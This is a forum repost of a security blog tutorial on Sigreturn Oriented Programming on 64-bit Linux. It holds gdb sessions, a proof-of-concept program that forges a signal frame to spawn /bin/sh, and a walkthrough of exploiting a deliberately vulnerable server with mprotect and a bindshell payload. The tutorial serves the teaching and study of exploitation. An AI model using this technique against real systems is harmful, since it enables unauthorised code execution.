Nytro Posted January 12, 2015 Report Posted January 12, 2015 January 3, 2015 — Mehdi Talbi Playing with signals : An overview on Sigreturn Oriented Programming Introduction Back to last GreHack edition, Herbert Bos has presented a novel technique to exploit stack-based overflows more reliably on Linux. We review hereafter this new exploitation technique and provide an exploit along with the vulnerable server. Even if this technique is portable to multiple platforms, we will focus on a 64-bit Linux OS in this blog post. All sample code used in this blogpost is available for download through the following archive. We’ve got a signal When the kernel delivers a signal, it creates a frame on the stack where it stores the current execution context (flags, registers, etc.) and then gives the control to the signal handler. After handling the signal, the kernel calls sigreturn to resume the execution. More precisely, the kernel uses the following structure pushed previously on the stack to recover the process context. A closer look at this structure is given by figure 1. [TABLE][TR][TD=class: gutter]12345678[/TD][TD=class: code]typedef struct ucontext { unsigned long int uc_flags; struct ucontext *uc_link; stack_t uc_stack; mcontext_t uc_mcontext; __sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem;} ucontext_t;[/TD][/TR][/TABLE] Now, let’s debug the following program (sig.c) to see what really happens when handling a signal on Linux. This program simply registers a signal handler to manage SIGINT signals. [TABLE][TR][TD=class: gutter]123456789101112131415161718[/TD][TD=class: code]#include <stdio.h>#include <signal.h>void handle_signal(int signum){ printf("handling signal: %d\n", signum);}int main(){ signal(SIGINT, (void *)handle_signal); printf("catch me if you can\n"); while(1) {} return 0;}/* struct definition for debugging purpose */struct sigcontext sigcontext;[/TD][/TR][/TABLE] First of all, we need to tell gdb to not intercept this signal: [TABLE][TR][TD=class: gutter]123[/TD][TD=class: code]gdb$ handle SIGINT nostop passSignal Stop Print Pass to program DescriptionSIGINT No Yes Yes Interrupt[/TD][/TR][/TABLE] Then, we set a breakpoint at the signal handling function, start the program and hit CTRLˆC to reach the signal handler code. [TABLE][TR][TD=class: gutter]1234567891011121314[/TD][TD=class: code]gdb$ b handle_signalBreakpoint 1 at 0x4005a7: file sig.c, line 6.gdb$ rStarting program: /home/mtalbi/sighit CTRL^C to catch me^CProgram received signal SIGINT, Interrupt.Breakpoint 1, handle_signal (signum=0x2) at sig.c:66 printf("handling signal: %d", signum);gdb$ bt#0 handle_signal (signum=0x2) at sig.c:6#1 <signal handler called>#2 main () at sig.c:13[/TD][/TR][/TABLE] We note here that the frame #1 is created in order to resume the process execution at the point where it was interrupted before. This is confirmed by checking the instructions pointed by rip which corresponds to sigreturn syscall: [TABLE][TR][TD=class: gutter]12345[/TD][TD=class: code]gdb$ frame 1#1 <signal handler called>gdb$ x/2i $rip=> 0x7ffff7a844f0: mov $0xf,%rax 0x7ffff7a844f7: syscall [/TD][/TR][/TABLE] Figure 1 shows the stack at signal handling function entry point. Figure 1: Stack at signal handling function entry point We can check the values of some saved registers and flags. Note that sigcontext structure is the same as uc_mcontext structure. It is located at rbp + 7 * 8 according to figure 1. It holds saved registers and flags value: [TABLE][TR][TD=class: gutter]123456789101112[/TD][TD=class: code]gdb$ frame 0...gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rip $5 = 0x4005dagdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rsp$6 = 0x7fffffffe110gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rax$7 = 0x17gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->cs$8 = 0x33gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->eflags$9 = 0x202[/TD][/TR][/TABLE] Now, we can verify that after handling the signal, registers will recover their values: [TABLE][TR][TD=class: gutter]123456789101112131415[/TD][TD=class: code]gdb$ b 13Breakpoint 2 at 0x4005da: file sig.c, line 13.gdb$ cContinuing.handling signal: 2Breakpoint 2, main () at sig.c:1313 while(1) {}gdb$ i r...rax 0x17 0x17rsp 0x7fffffffe110 0x7fffffffe110eflags 0x202 [ IF ]cs 0x33 0x33...[/TD][/TR][/TABLE] Exploitation If we manage to overflow a saved instruction pointer with sigreturn address and forge a uc mcontext structure by adjusting registers and flags values, then we can execute any syscall. It may be a litte confusing here. In effect, trying to execute a syscall by returning on another syscall (sigreturn) may be strange at first sight. Well, the main difference here is that the latter does not require any parameters at all. All we need is a gadget that sets rax to 0xf to run any system call through sigreturn syscall. Gadgets are small pieces of instructions ending with a ret instruction. These gadgets are chained together to perform a specific action. This technique is well-known as ROP: Return-Oriented Programming [sha07]. Surprisingly, it is quite easy to find a syscall ; ret gadget on some Linux distribution where the vsyscall map is still in use. The vsyscall page is mapped at fixed location into all user-space processes. For interested readers, here is good link about vsyscall. [TABLE][TR][TD=class: gutter]123456789[/TD][TD=class: code]mtalbi@mtalbi:/home/mtalbi/srop$ cat /proc/self/maps...7ffffe5ff000-7ffffe600000 r-xp 00000000 00:00 0 [vdso]ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]...gdb$ x/3i 0xffffffffff600000 0xffffffffff600000: mov rax,0x60 0xffffffffff600007: syscall 0xffffffffff600009: ret [/TD][/TR][/TABLE] Bosman and Bos list in [bB14] locations of sigreturn and syscall gadgets for different operating systems including FreeBSD and Mac OS X. Assumed that we found the required gadgets, we need to arrange our payload as shown in figure 3 in order to successfully exploit a classic stack-based overflow. Note that zeroes should be allowed in the payload (e.g. a non strcpy vulnerability); otherwise, we need to find a way to zero some parts of uc_mcontext structure. The following code (srop.c) is a proof of concept of sigreturn oriented programming that starts a /bin/sh shell: [TABLE][TR][TD=class: gutter]12345678910111213141516171819202122232425262728293031323334353637383940414243444546[/TD][TD=class: code]#include <stdio.h>#include <string.h>#include <signal.h>#define SYSCALL 0xffffffffff600007struct ucontext ctx;char *shell[] = {"/bin/sh", NULL};void gadget();int main(){ unsigned long *ret; /* initializing the context structure */ bzero(&ctx, sizeof(struct ucontext)); /* setting rip value (points to syscall address) */ ctx.uc_mcontext.gregs[16] = SYSCALL; /* setting 0x3b in rax (execve syscall) */ ctx.uc_mcontext.gregs[13] = 0x3b; /* setting first arg of execve in rdi */ ctx.uc_mcontext.gregs[8] = shell[0]; /* setting second arg of execv in rsi */ ctx.uc_mcontext.gregs[9] = shell; /* cs = 0x33 */ ctx.uc_mcontext.gregs[18] = 0x33; /* overflowing */ ret = (unsigned long *)&ret + 2; *ret = (int)gadget + 4; //skip gadget's function prologue *(ret + 1) = SYSCALL; memcpy(ret + 2, &ctx, sizeof(struct ucontext)); return 0;}void gadget(){ asm("mov $0xf,%rax\n"); asm("retq\n");}[/TD][/TR][/TABLE] The programm fills a uc_mcontext structure with execve syscall parameters. Additionally, the cs register is set to 0x33: Instruction pointer rip points to syscall; ret gadget. rax register holds execve syscall number. rdi register holds the first paramater of execve (“/bin/sh” address). rsi register holds the second parameter of execve (“/bin/sh” arguments). rdx register holds the last parameter of execve (zeroed at struture initialization). Then, the program overflows the saved rip pointer with mov %rax, $0xf; ret gadget address (added artificially to the program through gadget function). This gadget is followed by the syscall gadget address. So, when the main function will return, these two gadgets will be executed resulting in sigreturn system call which will set registers values from the previously filled structure. After sigreturn, execve will be called as rip points now to syscall gadget and rax holds the syscall number of execve. In our example, execve will start /bin/sh shell. Code In this section we provide a vulnerable server (server.c) and use the SROP technique to exploit it (exploit.c). Vulnerable server The following program is a simple server that replies back with a welcoming message after receiving some data from client. The vulnerability is present in the handle_conn function where we can read more data from client (4096 bytes) than the destination array (input) can hold (1024 bytes). The program is therefore vulnerable to a classical stack-based overflow. server.c Exploit We know that our payload will be copied in a fixed location in .bss. (at 0x6012c0). Our strategy is to copy a shellcode there and then call mprotect syscall in order to change page protection starting at 0x601000 (must be a multiple ot the page size). Figure 2: Payload copied in .bss In this exploit, we overflow our vulnerable buffer as shown by figure 3. First, we fill our buffer with a nop sled (not necessary) followed by a classical bindshell. This executable payload is prepended with an address pointing to the shellcode in .bss (see figure 2). exploit.c Our goal is to change protection of memory page containing our shellcode. More precisely, we want to make the following call so that we can execute our shellcode: [TABLE][TR][TD=class: code]mmprotect(0x601000, 4096, PROT_READ | PROT_WRITE | PROT_EXEC);[/TD][/TR][/TABLE] Here, is what happens when the vulnerable function returns: The artificial gadget is executed. It sets rax register to 15. Our artificial gadget is followed by a syscall gadget that will result in a sigreturn call. The sigreturn uses our fake uc_mcontext structure to restore registers values. Only non shaded parameters in figure 3 are relevant to the exploit. After this call, rip points to syscall gadget, rax is set to mprotect syscall number, and rdi, rsi and rdx hold the parameters of mprotect function. Additionally, rsp points to our payload in .bss. mprotect syscall is executed. ret instruction of syscall gadget is executed. This instruction will set instruction pointer to the address popped from rsp. This address points to our shellcode (see figure 2). The shellcode is executed. Figure 3: Stack after overflowing input buffer Replaying the exploit The above code has been compiled using gcc (gcc -g -o server.c server) on a Debian Wheezy running on x_86_64 arch. Before reproducing this exploit, you need to adjust first the following addresses: SYSCALL_GADGET [TABLE][TR][TD=class: gutter]123456789[/TD][TD=class: code]mtalbi@mtalbi:/home/mtalbi/srop$ cat /proc/self/maps...7ffffe5ff000-7ffffe600000 r-xp 00000000 00:00 0 [vdso]ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]...gdb$ x/3i 0xffffffffff600000 0xffffffffff600000: mov rax,0x60 0xffffffffff600007: syscall 0xffffffffff600009: ret[/TD][/TR][/TABLE]RAX_15_GADGET [TABLE][TR][TD=class: gutter]12345678910[/TD][TD=class: code]mtalbi@mtalbi:/home/mtalbi/srop$ gdb server(gdb) disas gadgetDump of assembler code for function gadget: 0x0000000000400acf <+0>: push %rbp 0x0000000000400ad0 <+1>: mov %rsp,%rbp 0x0000000000400ad3 <+4>: mov $0xf,%rax 0x0000000000400ada <+11>: retq 0x0000000000400adb <+12>: pop %rbp 0x0000000000400adc <+13>: retq End of assembler dump.[/TD][/TR][/TABLE]DATA [TABLE][TR][TD=class: gutter]12[/TD][TD=class: code](gdb) p &data$1 = (char [8192]) 0x6012c0[/TD][/TR][/TABLE] References [bB14] Erik Bosman and Herbert Bos. We got signal. a return to portable exploits. (working title, subject to change.). In Security & Privacy (Oakland), San Jose, CA, USA, May 2014. IEEE. [sha07] Hovav Shacham. The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86). In Proceedings of the 14th ACM Conference on Computer and Communications Security, CCS ’07, pages 552– 561, New York, NY, USA, 2007. ACM. Sursa: Playing with signals : An overview on Sigreturn Oriented Programming | This is Security :: by Arkoon-Netasq Quote
